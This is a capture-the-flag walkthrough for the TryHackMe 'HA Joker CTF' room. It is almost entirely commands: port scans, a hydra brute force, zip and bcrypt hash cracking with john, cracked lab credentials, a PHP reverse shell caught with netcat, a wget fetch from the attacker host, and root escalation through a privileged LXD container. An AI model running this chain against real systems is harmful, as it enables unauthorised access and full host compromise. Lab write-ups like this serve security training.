# HA Joker CTF

**Room Link:** [https://tryhackme.com/room/jokerctf](https://tryhackme.com/room/jokerctf)



## Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FC5OHWrzBOa7oTVtrz7Zn%2Fimage.png?alt=media&#x26;token=2adca28d-cfe7-43bb-bba9-40a6eaef1ca0" alt=""><figcaption></figcaption></figure>

## Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FDVMJrcaqjggFiue08VQz%2Fimage.png?alt=media&#x26;token=b8093e3d-22d5-42e6-9e54-1cf563b7aa72" alt=""><figcaption></figcaption></figure>

## TCP/80 - HTTP

**Kali**

```
gobuster dir -u $VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FlhdgBm42lKlWYOrdCS30%2Fimage.png?alt=media&#x26;token=53abfae9-453a-4081-9c08-59a161307dfe" alt=""><figcaption></figcaption></figure>





<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FJp9l4x05bUrvF6grFsRf%2Fimage.png?alt=media&#x26;token=ad29ce19-bf61-4e84-b607-1d6e7df012f8" alt=""><figcaption></figcaption></figure>



## TCP/8080 - HTTP

**Kali**

```
hydra -l joker -P /usr/share/wordlists/rockyou.txt -s 8080 -f $VICTIM http-get /
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F6iQ0xzwFHOcxhyGRqoum%2Fimage.png?alt=media&#x26;token=2113486c-923c-4c42-bd4a-1eaa98d642be" alt=""><figcaption></figcaption></figure>



wasn't finding it but should have found a backup.zip

**Kali**

```
nikto -id joker:hannah -h $VICTIM:8080
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FbjRnz8bjdpo3HwctzhZL%2Fimage.png?alt=media&#x26;token=6b7adb08-4a0d-47c0-9d9d-8905776430d4" alt=""><figcaption></figcaption></figure>

**Kali**

```
zip2john backup.zip > secure_john.txt
john --wordlist=/usr/share/wordlists/rockyou.txt secure_john.txt 
unzip backup.zip
Password: hannah
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FEgFkVsAvs4jX9PLwF8kJ%2Fimage.png?alt=media&#x26;token=578dfd1e-f127-42ae-bd08-ea90fad34c92" alt=""><figcaption></figcaption></figure>

**Kali**

```
cd db
cat joomladb.sql | grep admin
```

**Hash**

```
$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG
```

**Kali**

```
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FOgowssyazL1YX1tAAm7b%2Fimage.png?alt=media&#x26;token=44ecab51-05cd-403e-bebb-f5ccb5bc1bcd" alt=""><figcaption></figcaption></figure>



**Browser**

```
Username: admin
Password: abcd1234
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FKa6qWfbAn0HVIjHOQTUq%2Fimage.png?alt=media&#x26;token=948eba6c-093e-4899-8dd6-fa8f7285bf70" alt=""><figcaption></figcaption></figure>





<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FBCdFr4pKmVggKQXYZ3OC%2Fimage.png?alt=media&#x26;token=ced7b791-57b0-4da7-a77d-4293139477ea" alt=""><figcaption></figcaption></figure>



**Kali**

```
git clone https://github.com/pentestmonkey/php-reverse-shell.git
cp php-reverse-shell/php-reverse-shell.php .
subl php-reverse-shell.php
```



<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F0buHisKtKIW3Wngpdb5G%2Fimage.png?alt=media&#x26;token=b82889fe-c052-4b92-aee4-372c6995bc5d" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 1234
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FVmHfXdcmoRP0mbHdp6iF%2Fimage.png?alt=media&#x26;token=841fa365-a484-447c-a7a8-9a2cd5f4897f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FXwd5ubyLiTjaW5Ya4eqw%2Fimage.png?alt=media&#x26;token=b4f6d380-c385-4daf-b50a-8a5ee73fad96" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```



**Victim**

```
id
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FissqJDKu9Ay7qAscOEEm%2Fimage.png?alt=media&#x26;token=3a755332-09fb-4d8a-8384-34b0273fd0b1" alt=""><figcaption></figcaption></figure>

**Kali**

```
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
python2 -m SimpleHTTPServer 81
```



**Note:** The command lxd init was to resolve a storage pool area issue, it may not always be needed.

**Victim**

```
cd /tmp
wget http://$KALI:81/alpine-v3.13-x86_64-20210218_0139.tar.gz
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
lxd init
lxc image list
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FyJWLZvx652oCOclmt3iS%2Fimage.png?alt=media&#x26;token=a9027c20-dd01-4357-b29a-ef9e81ae3165" alt=""><figcaption></figcaption></figure>



<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F5uQotJV6jJDDPZBwrUYt%2Fimage.png?alt=media&#x26;token=99621100-d9f7-4670-bb29-d01edd559595" alt=""><figcaption></figcaption></figure>
